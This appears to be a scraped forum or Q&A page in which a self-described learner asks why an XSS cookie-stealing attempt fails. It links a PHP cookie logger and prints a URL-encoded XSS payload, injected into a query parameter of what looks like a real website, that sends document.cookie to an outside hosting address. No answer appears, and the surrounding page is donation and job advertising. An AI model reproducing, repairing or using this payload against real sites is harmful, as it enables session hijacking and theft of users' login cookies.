Donate. I desperately need donations to survive due to my health

Get paid by answering surveys Click here

Click here to donate

Remote/Work from Home jobs

JavaScript and XSS cookie stealing

I learned a little bit of bugs and I want to train by stealing cookies I read a topic about how to steal cookies through this kind of vulnerability I created two files, one to store cookies, the other to fetch cookies, but cookies do not appear in the text file Both the first file, the second file, payload , and the error image were appended

the file number one: https://github.com/kensworth/cookie-stealer/blob/master/cookielogger.php

The information stored in the file

https://i.stack.imgur.com/PtvUs.jpg payload xss:

http://sara.yara.com/s/viewAll.do?tmt=2&termNo=%3Ca%20href%3D%22jAvAsCrIpT%26colon%3Balert%26lpar%3Bdocument.cookie=%27https://aureate-diagrams.000webhostapp.com/amjad.php?c=%27%20document.cookie;%26rpar%3B%22%3Eenter%20here%20to%20vontinue%3C%2Fa%3E&v=F

Comments